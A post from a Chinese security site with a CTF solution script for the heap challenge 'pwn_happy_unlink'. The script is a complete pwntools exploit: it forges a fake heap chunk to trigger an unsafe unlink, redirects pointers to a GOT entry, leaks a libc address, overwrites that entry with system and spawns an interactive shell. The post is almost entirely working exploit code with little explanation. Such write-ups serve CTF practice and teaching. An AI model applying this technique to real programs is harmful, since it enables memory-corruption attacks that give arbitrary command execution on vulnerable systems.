104杯 pwn_happy_unlink

admin 2022年1月5日22:55:10CTF专场评论19 views1746字阅读5分49秒阅读模式

>

>

104杯 pwn_happy_unlink

admin

# coding:utf-8
# w22_Template
from pwn import *
import os
import time
import struct
####### clear
def clear(signum=None, stack=None):
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    print('[*] Delete all debugging information')
    exit(0)


def config(binary):
    global elf,rop,libc
    elf = ELF(binary)
    rop = ROP(binary)
    context.binary = binary
    # context.arch = 'mips'
    # context.endian = 'little'

def connect(Debug,binary,ip,port):
    global r,libc
    if Debug == 1:
        r = process(binary)
	libc = elf.libc
        context.log_level = 'debug'
        context.terminal = ['tmux','splitw','-h']
    elif Debug == 0:
        r = remote(ip,port)
        try:
            libc = ELF("libc.so.6")
        except Exception:
            libc = elf.libc
        context.log_level = 'info'
        context.terminal = ['tmux','splitw','-h']

binary = './pwn'
config(binary)
connect(1,binary,'ip','port')

def add(idx,size):
	r.recvuntil('choice')
	r.sendline('1')
	r.recvuntil('idx:')
	r.sendline(str(idx))
	r.recvuntil('size')
	r.sendline(str(size))
def delete(idx):
	r.recvuntil('choice')
	r.sendline('2')
	r.recvuntil('idx:')
	r.sendline(str(idx))
def show(idx):
	r.recvuntil('choice')
	r.sendline('3')
	r.recvuntil('idx:')
	r.sendline(str(idx))
def edit(idx,content):
	r.recvuntil('choice')
	r.sendline('4')
	r.recvuntil('idx:')
	r.sendline(str(idx))
	r.recvuntil('content')
	r.sendline(content)
	
add(0,0x20)
add(1,0x38)
add(2,0x80)
add(4,0x20)


target = 0x6020e0+0x10
fd = target - 0x18
bk = target - 0x10
payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)+"a"*0x10+p64(0x30)+p64(0x90)
edit(1,payload)
delete(2)
payload = 'a'*8+p64(0x602058)+p64(8)+p64(0x602058)+p64(8) #setvbuf
edit(1,payload)
show(1)
r.recv(1)
leak_addr = u64(r.recv(6)+'\x00\x00') #__GI__IO_setvbuf
libc.address = leak_addr - libc.sym['atoi'] 
success("libc_base --> 0x%x",libc.address)
info("puts_got --> 0x%x",libc.sym['puts'])
info("system_got --> 0x%x",libc.sym['system'])
edit(1,p64(libc.sym['system']))
r.sendline('sh')

r.interactive()
clear()

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:55:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  104杯 pwn_happy_unlink http://cn-sec.com/archives/719546.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: